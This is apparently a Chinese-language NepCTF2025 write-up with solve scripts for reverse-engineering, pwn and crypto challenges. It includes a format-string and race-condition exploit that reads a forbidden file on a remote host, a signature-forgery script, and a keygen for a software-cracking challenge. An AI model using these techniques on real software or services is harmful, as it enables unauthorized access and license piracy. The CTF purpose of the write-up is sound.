NepCTF2025

Realme #

Seeing is not necessarily believing, can you recognize the real me?

RC4,但看题目描述像是 SMC,所以直接 Scylla 拖下来

只有 KSA 有两处魔改

key = b"Y0u_Can't_F1nd_Me!"
sec = [ 0x50, 0x59, -94, -108, 46, -114, 92, -107, 121, 22, -27, 54, 96, -57, -24,
	6, 51, 120, -16, -48, 54, -56, 115, 27, 101, 64, -75, -44, -24, -100, 101,
	-12, -70, 98, -48 ]

for i in range(len(sec)):
	sec[i] = sec[i] & 0xff


def ksa(key):
	klength = len(key)
	result = list(range(256))
	for i in range(256):
		result[i] = i ^ 0xCF
	j = 0
	for i in range(256):
		j = (key[i % klength] + j + result[i]) % 256
		result[i], result[j] = result[j], result[i] ^ 0xAD
	return result


def prng(sbox, plength):
	result = list(range(plength))
	ii, jj = 0, 0
	for i in range(plength):
		ii = (ii + 1) % 256
		jj = (jj + ii * sbox[ii]) % 256
		sbox[ii], sbox[jj] = sbox[jj], sbox[ii]
		result[i] = sbox[(sbox[ii] + sbox[jj]) % 256]
	return result


s = ksa(key)
p = prng(s, len(sec))
for i in range(len(sec)):
	if i % 2 == 1:
		sec[i] = (sec[i] - p[i]) % 256
	else:
		sec[i] = (sec[i] + p[i]) % 256

flag = bytes(sec)
print(flag)
# NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}

Crackme #

inkey最近在学校上学时,老师安排了一个任务,而有一款软件可以很快地梭哈完成,但是支付需要高额的费用。 于是同学们都来拜托inkey,希望能他能破解出软件的注册码,并发给他们每个人。 (靶机网页登录上去后,提交每个用户名对应的注册码,全部正确即可得到flag)

随便输点东西会报 please try again,搜索字符串找到 sub_4021C0,这个就是校验函数

其中,qword_409040 和 qword_409048 是由 QT 绑定的导入函数,前者叫 sign,后者叫 aesEncrypt,位于 libcrypto.dll

调试 + 阅读逻辑可以知道,校验目标是 aesEncrypt(sign(username), cdk) == sign(username + 'Showmaker11')

aesEncrypt 和 sign 被上了很多轮 CFF,根据第六感,这肯定魔改了

sign 的结果只和用户名有关,不用逆,加载 DLL 直接调就行

aesEncrypt 用 D810 勉勉强强只能解掉最外面一层

在我能想到的基本块下断点调试,很快就能看到 mix_single_column 处有一个魔改

直接尝试解密,发现就这一处魔改,出题人很善良

    def __mix_single_column(self, a):
        #t = a[0] ^ a[1] ^ a[2] ^ a[3]
        t = a[0] ^ a[1] ^ a[2] ^ a[3] ^ 0x55
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)
Sbox = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

InvSbox = (
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)


# learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)


Rcon = (
    0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
    0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
    0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
    0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)


def text2matrix(text):
    matrix = []
    for i in range(16):
        byte = (text >> (8 * (15 - i))) & 0xFF
        if i % 4 == 0:
            matrix.append([byte])
        else:
            matrix[i // 4].append(byte)
    return matrix


def matrix2text(matrix):
    text = 0
    for i in range(4):
        for j in range(4):
            text |= (matrix[i][j] << (120 - 8 * (4 * i + j)))
    return text


class AES:
    def __init__(self, master_key):
        self.change_key(master_key)

    def change_key(self, master_key):
        self.round_keys = text2matrix(master_key)
        #print(self.round_keys)

        for i in range(4, 4 * 11):
            self.round_keys.append([])
            if i % 4 == 0:
                byte = self.round_keys[i - 4][0]        \
                     ^ Sbox[self.round_keys[i - 1][1]]  \
                     ^ Rcon[i // 4]
                self.round_keys[i].append(byte)

                for j in range(1, 4):
                    byte = self.round_keys[i - 4][j]    \
                         ^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
                    self.round_keys[i].append(byte)
            else:
                for j in range(4):
                    byte = self.round_keys[i - 4][j]    \
                         ^ self.round_keys[i - 1][j]
                    self.round_keys[i].append(byte)

        #print(self.round_keys)

    def encrypt(self, plaintext):
        self.plain_state = text2matrix(plaintext)

        self.__add_round_key(self.plain_state, self.round_keys[:4])

        for i in range(1, 10):
            self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)])

        self.__sub_bytes(self.plain_state)
        self.__shift_rows(self.plain_state)
        self.__add_round_key(self.plain_state, self.round_keys[40:])

        return matrix2text(self.plain_state)

    def decrypt(self, ciphertext):
        self.cipher_state = text2matrix(ciphertext)

        self.__add_round_key(self.cipher_state, self.round_keys[40:])
        self.__inv_shift_rows(self.cipher_state)
        self.__inv_sub_bytes(self.cipher_state)

        for i in range(9, 0, -1):
            self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)])

        self.__add_round_key(self.cipher_state, self.round_keys[:4])

        return matrix2text(self.cipher_state)

    def __add_round_key(self, s, k):
        for i in range(4):
            for j in range(4):
                s[i][j] ^= k[i][j]


    def __round_encrypt(self, state_matrix, key_matrix):
        self.__sub_bytes(state_matrix)
        self.__shift_rows(state_matrix)
        self.__mix_columns(state_matrix)
        self.__add_round_key(state_matrix, key_matrix)


    def __round_decrypt(self, state_matrix, key_matrix):
        self.__add_round_key(state_matrix, key_matrix)
        self.__inv_mix_columns(state_matrix)
        self.__inv_shift_rows(state_matrix)
        self.__inv_sub_bytes(state_matrix)

    def __sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = Sbox[s[i][j]]


    def __inv_sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = InvSbox[s[i][j]]


    def __shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]


    def __inv_shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

    def __mix_single_column(self, a):
        # please see Sec 4.1.2 in The Design of Rijndael
        #t = a[0] ^ a[1] ^ a[2] ^ a[3]
        t = a[0] ^ a[1] ^ a[2] ^ a[3] ^ 0x55 # 这有魔改!
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)


    def __mix_columns(self, s):
        for i in range(4):
            self.__mix_single_column(s[i])


    def __inv_mix_columns(self, s):
        # see Sec 4.1.3 in The Design of Rijndael
        for i in range(4):
            u = xtime(xtime(s[i][0] ^ s[i][2]))
            v = xtime(xtime(s[i][1] ^ s[i][3]))
            s[i][0] ^= u
            s[i][1] ^= v
            s[i][2] ^= u
            s[i][3] ^= v

        self.__mix_columns(s)

example_tgt = bytes.fromhex('22 EB B5 40 91 62 9C F7 E2 13 FF A8 8C 54 D9 80')
example_k = bytes.fromhex('24 25 8A 5B 6A 20 62 5D D2 71 64 32 FD E7 5E C4')
example_pt = bytes.fromhex('00112233445566778899aabbccddeeff')
example_ct = bytes.fromhex('EC FE 2B 67 01 78 CC D2 85 92 F3 8C 22 92 86 5E')

#from Crypto.Cipher import AES as AES_std
#aes_std = AES_std.new(example_k, AES_std.MODE_ECB)
#print(aes_std.encrypt(example_pt).hex())

#aes = AES(int(example_k.hex(), 16))
#print(hex(aes.encrypt(int(example_pt.hex(), 16))))

from ctypes import *


if __name__ == "__main__":
    print("***NepCTF 2025 Crackme Register Machine***")

    libcrypto: CDLL = WinDLL('./libcrypto.dll')
    sign = libcrypto.__getattr__('sign')
    sign.argtypes = [c_char_p, c_int, c_char_p]
    sign.restype = c_int
    buffer = create_string_buffer(128)

    while True:
        #msg = input('username> ').encode()
        msg = input().encode()
        sign(msg, len(msg), buffer)
        k = buffer.raw[:16]
        msg += b'Showmaker11'
        sign(msg, len(msg), buffer)
        tgt = buffer.raw[:16]

        #print(f"k={k.hex()}, tgt={tgt.hex()}")
        aes = AES(int(k.hex(), 16))
        token = aes.decrypt(int(tgt.hex(), 16))
        print(hex(token)[2:].zfill(32))

QRS #

选手最终得到的是NepCTF{}之间的字符串,提交需加上NepCTF{}

运行程序,提示访问 http://0.0.0.0:8887/interface/?input=xxx

PDB 提示这是 Rust tokio 库写的 HTTP 服务器

有 PDB 的情况下校验函数还是比较好找的,直接搜索 QRS 得到函数 QRS::e12c96f7a24fc73e1::axum_extract::b2a92c317a3cdec81,这个是 Extractor,找它的引用可以找到 Handler

提取 input 的时候对输入加密了,可以看到明显的 TEA 结构,但是 delta 很奇怪,是 GetTickCount 的返回值,每轮是不固定的

调试可以知道这个 API 被换掉了,实际上返回常数 0x68547369,解密是平凡的

key= [0x1234567, 0x89abcdef, 0xfedcba98, 0x76543210]
sec = [0x83ea621,  0xc745973c, 0xe3b77ae8, 0xcdee8146, 0x7dc86b96, 0x6b8c9d3b, 0x79b14342, 0x2ecf0f0d]
delta = 0x68547369

from pwn import p32
from numpy import uint32 as DWORD

def tea_decrypt(v0, v1, key, delta, r=48):
	v0 = DWORD(v0)
	v1 = DWORD(v1)
	sum = DWORD((delta * r) & 0xffff_ffff)

	for _ in range(r):
		v1 -= (v0 + ((v0 << 4) ^ (v0 >> 5))) ^ (sum + key[(sum >> 11) & 0x3])
		sum -= delta
		v0 -= (v1 + ((v1 << 4) ^ (v1 >> 5))) ^ (key[sum & 3] + sum)
	return p32(v0) + p32(v1)

flag = b""
for i in range(0, len(sec), 2):
	v0, v1 = sec[i], sec[i + 1]
	flag += tea_decrypt(v0, v1, key, delta)
print('NepCTF{%s}' % flag.decode())

# NepCTF{a4747f82be106d3f8c4d747c744d7ee5}

SpeedMino-Warlock #

Welcome to SpeedMino! Reach 2600.00 to get FLAG

Also, there is a SECRET FLAG you need to REVERSE it.

附件与 Misc - SpeedMino 相同

_Into realms beyond heaven and earth._

Find the true Secret FLAG

Love2D 引擎写的游戏,先 binwalk

385536        0x5E200         Zip archive data, at least v2.0 to extract, compressed size: 586, uncompressed size: 1200, name: conf.lua
386160        0x5E470         Zip archive data, at least v2.0 to extract, compressed size: 5833, uncompressed size: 23829, name: main.lua

提取到源码之后可以看到 RC4,应用密钥流的方式从异或改成了加法

流程是先加密 passTable(输入),然后和 answerTable 比较,接下来不改变 PRNG 的状态,每次得分都对 youwillget 变量做一次加密

遍历 2600 次加密,在第 51 次加密时得到第一个 flag

NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}

g_sbox = ksa(g_key)
g_stream = prga(g_sbox)

buf = list(s2)
for i in range(len(buf)):
	x = next(g_stream)
	buf[i] = (buf[i] - x) & 0xff
print(bytes(buf))
# FAKE{D0_You_F1nd_A_DLL_1s_5tran9e?!Challenge_Starts!!!}

buf = list(s1)
for i in range(3000):
	for i in range(len(buf)):
		x = next(g_stream)
		buf[i] = (buf[i] + x) & 0xff
	try:
		print(bytes(buf).decode())
		print(i)
	except:
		continue

# NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}
# 51

根据解密的提示,只有 version.dll 是 Rust 写的,应该是拿这个劫持了 Windows 的同名 DLL

DllMain 中可以看到对 luaL_loadbufferx 的引用,应该是通过 hook 这个函数来动态修改游戏代码

找字符串可以找到作者夹带的私货 EvilNeuroIsCute

根据第六感,这是作者安插的代码,在字符串引用随后的函数调用处 (sub_18004D500) 下断点调试,可以在内存中 (&v56 + 8) 找到一段 toml

[manifest]
version = "1.0.0"
priority = 0

# Define a var substitution rule. This searches for lines that contain {{lovely:var_name}}
# (var_name from this example, it can really be anything) and replaces each match with the
# provided value.
# This example would transform print('{{lovely:var_name}}') to print('Hello world!').
#
# USEFUL: For when you want to reduce the complexity of repetitive injections, eg. embedding
# release version numbers in multiple locations.
[vars]


# Inject one or more lines of code before, after, or at (replacing) a line which matches
# the provided pattern.
#
# USEFUL: For when you need to add / modify a small amount of code to setup initialization
# routines, etc.
[[patches]]
[patches.pattern]
target = "main.lua"
pattern = "    local verfiy = true"
position = "after"
payload = '''
local NEURO="\x1b\x4c\x4a\x02\n\x6c\0\x02\x05\0\0\x04\x18\x18\x02\0\0\x1b\x02\x01\x02\x20\x02\x01\x02\x55\x03\x12\x80\x29\x03\x02\0\x55\x04\x0e\x80\"\x04\x03\x03\x01\x02\x04\0\x58\x04\x05\x80\x17\x04\x02\x02\x1a\x04\x03\x04\b\x04\x01\0\x58\x04\x01\x80\x4c\x02\x02\0\x24\x04\x03\x02\t\x04\x01\0\x58\x04\x01\x80\x58\x04\x02\x80\x16\x03\x02\x03\x58\x04\xf1\x7f\x16\x02\x02\x02\x58\x03\xed\x7f\x29\x03\x7f\x01\x4c\x03\x02\0\x80\x06\0\x02\n\xad\x01\0\x01\x0e\x02\x01\x03\x25\x29\x01\x01\x00\x35\x02\0\0\x2d\x03\0\0\x15\x03\x03\0\x15\x04\0\0\x04\x03\x04\0\x58\x03\x02\x80\x2b\x03\x01\0\x4c\x03\x02\0\x29\x03\x01\0\x15\x04\0\0\x29\x05\x01\0\x4d\x03\x16\x80\x38\x07\x06\x02\x16\b\0\x06\x38\b\b\x02\"\x07\b\x07\x38\b\x06\0\x1b\b\x01\b\x29\t\x05\0\x25\b\t\b\x24\b\x07\b\x2d\t\0\x00\x38\t\x06\t\x04\b\t\0\x58\t\x02\x80\x2b\t\x01\0\x4c\t\x02\0\x16\t\x02\x06\x2d\n\x01\0\x12\f\x06\x00\x38\r\x06\0\x42\n\x03\x02\x3c\n\t\x02\x4f\x03\xea\x7f\x2b\x03\x02\0\x4c\x03\x02\0\x02\xc0\x01\xc0\x01\x03\0\0\x03\xe7\x02\x03\xff\x02\x02\x80\x01\x04\xbb\x02\x01\x01\x07\0\x03\0\x07\x33\x01\0\x00\x35\x02\x01\x00\x33\x03\x02\0\x12\x04\x03\0\x12\x06\0\x00\x32\0\0\x80\x44\x04\x02\0\0\x01\x38\0\0\x03\x9a\x9d\x02\x03\xc6\xb5\x05\x03\xa6\xe4\x1a\x03\x91\xd3\x28\x03\xfb\xd3\x06\x03\x82\xd7\x81\x01\x03\xe4\xf2\xa8\x01\x03\xc4\xa8\x9f\x01\x03\x81\xdd\xc7\x01\x03\xc3\xdf\x90\x04\x03\xc7\x9d\xb9\x02\x03\xf4\x8f\x3f\x03\xfb\xd7\x99\x03\x03\x87\xe9\x8a\x06\x03\xf2\xa5\xc8\t\x03\xcd\xae\xa2\x03\x03\xea\xf5\xf5\x02\x03\xd5\xa8\xec\x01\x03\x92\x9d\xcb\x06\x03\x98\xd1\x95\x07\x03\xf6\xaa\xc5\x12\x03\xf7\xd2\x8f\x05\x03\xd5\x8b\xbf\f\x03\xd6\xd2\xc8\x15\x03\xea\xf3\xa3\x16\x03\x8e\xc4\xd1\x03\x03\xae\xf9\x84\n\x03\xf5\xe7\xd0\x20\x03\xe2\xcf\x9d\x17\x03\x98\xe7\xa4\x2d\x03\xf3\x88\xaa\x1a\x03\xa4\xa5\xfd\x35\x03\x80\xa8\x85\x29\x03\xe7\x97\xb1\x49\x03\xe1\xdd\x99\x41\x03\xc7\xf6\x89\x2a\x03\xb6\x88\xc1\x33\x03\xbb\xdb\x97\"\x03\xa9\xa4\xf7\x4a\x03\xb2\x90\xd7\n\x03\x84\xad\xea\x13\x03\xe1\xcd\x86\x69\x03\xf1\xc5\xb4\x29\x03\x8d\xfb\xe8\x3d\x03\xa9\xa0\xbf\x72\x03\x93\xf0\xf5\x7a\x03\xbc\x97\xa6\x2c\x03\xae\x83\xa1\x19\x03\xd9\xf2\x90\r\x03\xc9\xe6\xa9\x83\x01\x03\xf1\xcc\xe1\xad\x01\x03\xb2\x8f\xde\x78\x03\xaa\x99\xbf\xb9\x01\x03\xc5\xe7\xa3\xab\x01\x03\xa3\xaf\xf4\xa0\x01\0\0"
if (load(NEURO))(result_table) then
    SFX.play('pc')
    MSG('check','PERFECT!')
end
NEURO=nil
'''
match_indent = true
times = 1

搜了一下,这是 lovely-injector 的模组配置文件,主要功能就是根据字符串匹配来 patch 游戏源码

可以看到一段安插在 verify 前的字节码,这段字节码以 \x1bLJ 开头,是 Luajit 字节码

放到 网上 反编译,整理后源码如下

local function gen(idx, m) -- 找模 5 不为 1 的的素数
  local rk = idx * 384 + 0 + m
  while true do
    local n = 2
    while true do
      if rk < n * n then
        if ((rk - 1) % 5) ~= 0 then
          return rk
        end
      end
      if (rk % n) == 0 then
        break
      end
      n = n + 1
    end
    rk = rk + 1
  end
end
local ct = {
  nil,
  36506,
  88774,
-- 还有很多,略
}
return (function(pt)
  local key = {
    nil,
    359,
    383
  }
  for i = 1, #pt, 1 do
    if (pt[i] + 64) ^ 5 % (key[i] * key[(i + 1)]) ~= ct[i] then
      return false
    end
    key[i + 2] = gen(i, pt[i])
  end
  return true
end)(arg0)

照着算法解密即可,解密出来的东西是 RC4 的密文,再解密得到第二个 flag

NepCTF{Y0u_c4n_M0dDing_LOVE2D_g@mE_By_l0vely_iNjector!}

是的我是一血💪

Time #

时间就是答案

0x2D0B 处的 printf 有格式化字符串漏洞,可以构造用户名泄漏文件内容

读 flag 提示 flag is not allowed,然而校验文件名和读取文件内容由不同的线程执行

如果在读取线程还在计算 MD5 的时候,输入线程将文件名置换为 flag,读取线程就将读取 flag 的内容

payload 取 1000 个 a 加上 ’ flag’ 即可

经过测试,缓冲区在第 22 个参数的位置

from pwn import *
import re

host = 'nepctf31-ary4-oai9-vtcd-g5r3fe4b4501.nepctf.com'
port = 443

r = remote(host, port, ssl=True)

username = ''
for i in range(22, 22+10):
	username += f'%{i}$.16llx'
username = username.encode()

context.log_level = 'debug'

r.recvuntil(b":\n", drop=True)
r.sendline(username)

payload = b'a' * 1000 + b' flag'

for i in range(100): # try at most 100 times
	r.recvuntil(b":\n", drop=True)
	r.sendline(payload)
	response = r.recvuntil(b'!\n', drop=True) # flag is not allowed!
	response = r.recvuntil(b'!\n', drop=True)
	if b'hello' in response:
		break

r.close()

response = response.decode()
match: re.Match = re.search(r'hello (.+) ,', response)
hx = match.group(1)
print(hx)

flag = b''
for i in range(0, len(hx), 16):
	flag += bytes.fromhex(hx[i:i+16])[::-1]

print(flag)
#NepCTF{58b2af59-4a5e-7b7b-caa1-8cab11676dd3}

Nepsign #

来签个名吧!flag格式为NepCTF{xxx}

校验数组 qq 的时候每一项都是独立的,因为服务端是一个签名机,可以用类似 CPA 的方式伪造签名

先生成目标消息对应的 step 数组

hex_symbols = '0123456789abcdef'

def generate_steps(pt):
	global hex_symbols

	m = SM3(pt)
	m_bin = bin(int(m, 16))[2:].zfill(256)
	a = [int(m_bin[8 * i: 8 * i + 8], 2) for i in range(32)]

	step = [0] * 48;
	for i in range(32):
		step[i] = a[i]
	
	sum = [0] * 16
	for i in range(16):
		sum[i] = 0
		for j in range(1, 65):
			if m[j - 1] == hex_symbols[i]:
				sum[i] += j
		step[i + 32] = sum[i] % 255
	return step

pt_tgt = b'happy for NepCTF 2025'
step_tgt = generate_steps(pt_tgt)
print(step_tgt)

对 step 的每一字节,可以枚举找到和目标消息不同,但其 step 数组在那一字节上相同的消息,这样预先生成一个 todo 数组

def get_todo_list():
	global step_tgt

	todo = [None] * 48
	cnt = 0

	for j in range(0x2000):
		data = hex(j).encode()
		step_ = generate_steps(data)
		for i in range(48):
			if todo[i] is not None:
				continue

			if step_[i] == step_tgt[i]:
				todo[i] = data
				cnt += 1

	assert(cnt == 48)

	print(todo)

拼凑 todo 数组中消息对应的 qq 在相应位置上的值就是目标消息的签名

todo = [b'0x10c', b'0x17', b'0x39', b'0x50', b'0x1ca', b'0x2b1', b'0x31', b'0x38e', b'0x133', b'0x78', b'0x70', b'0x37', b'0xcf', b'0x3ee', b'0x14f', b'0xdd', b'0x90', b'0x14a', b'0x36', b'0x2fe', b'0xb', b'0x3f', b'0x54', b'0x606', b'0x1b1', b'0x430', b'0x132', b'0x11f', b'0x2b', b'0x27e', b'0x2', b'0x1cc', b'0x79', b'0x12f', b'0x11', b'0x4', b'0xf2', b'0xbc', b'0x10f', b'0x3f', b'0x66', b'0x9f', b'0x4b', b'0x61', b'0x48', b'0x6a', b'0x26', b'0x12b']

host = 'nepctf32-x25i-l1tp-qgfa-vltfobycm284.nepctf.com'
port = 443

context.log_level = 'debug'

r = remote(host, port, ssl=True)
r.recvline()

qq = [None] * 48
for i in range(48):
	r.recvuntil(b' ', drop=True)
	r.sendline(b'1')
	r.recvuntil(b' ', drop=True)
	r.sendline(todo[i].hex().encode())
	iqq_str = r.recvline(keepends=False)
	iqq = literal_eval(iqq_str.decode())
	qq[i] = iqq[i]

r.recvuntil(b' ', drop=True)
r.sendline(b'2')
r.recvuntil(b' ', drop=True)
r.sendline(str(qq))

flag = r.recvline(keepends=False)
r.close()

print(flag)
#NepCTF{7638a57a-95ea-2b75-bcc8-769c827025c3}

复盘 #

FlutterPro #

Not Easy, Not Baby, it is PRO!

WIP

XSafe #

一行代码也能逆向吗?xiaoji回答:能的兄弟,能的。

解题要求:

- 在非调试的环境中,加载驱动,驱动返回0表示加载成功,此时运行exe文件可以校验输入的flag。
- 驱动只进行了测试签名,请自行解决加载问题(驱动不会对操作系统进行任何破坏性操作,请放心加载)。
- 必须使用64位Win10-Win11 22H2系统解题。

flag格式:NepCTF2025{uuid}

WIP

reboot #

勇敢的MK.99获取到了boot文件,让帮MK.99解锁权限吧。

WIP

总结 #

WIP